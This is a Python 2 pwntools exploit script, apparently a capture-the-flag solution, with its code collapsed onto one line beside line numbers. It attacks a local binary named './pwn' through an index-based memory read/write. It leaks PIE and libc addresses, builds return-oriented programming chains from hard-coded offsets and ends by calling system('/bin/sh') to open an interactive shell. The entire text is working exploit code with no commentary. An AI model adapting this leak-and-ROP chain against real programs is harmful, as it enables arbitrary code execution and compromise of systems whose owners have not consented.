1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| from pwn import * context.log_level = 'debug' pop_rdi_ret = 0xd03 pop_rsi_r15_ret = 0xd01 r = process("./pwn") r.recvuntil("name:") r.sendline("wuge") def get(p): i = 0 ll = 0 while(1): r.recvuntil("index\n") r.sendline(str(i + p)) data = r.recvuntil("value\n")[:-17] data = int(data[-2:],16) if(i < 8): ll += data * (0x100 ** i) r.sendline(str(data)) i += 1 if(i % 41 == 0): r.recvuntil("continue(yes/no)? \n") r.sendline("yes") return ll def write(p, x): i = 0 while(1): r.recvuntil("index\n") r.sendline(str(i + p)) r.recvuntil("value\n") data = 0 if(i != 40): data = (x[i/8] / (0x100 ** (i % 8))) % 0x100 r.sendline(str(data)) i += 1 if(i % 41 == 0): r.recvuntil("continue(yes/no)? \n") r.sendline("yes") return pie = get(0x158) - 0xb11 print "pie: " + hex(pie) write(0x158, [pie + pop_rdi_ret, pie + 0x202020, pie + 0x8B0, pie + 0xb0c, 0, 0, 0, 0]) libc = u64(r.recvuntil("\n")[0:6].ljust(8,'\0')) - 0x06f690 print "libc: " + hex(libc) system = libc + 0x045390 binsh = libc + 0x18cd57 write(0x158, [pie + pop_rdi_ret, binsh, system, 0, 0, 0, 0, 0]) r.interactive()
|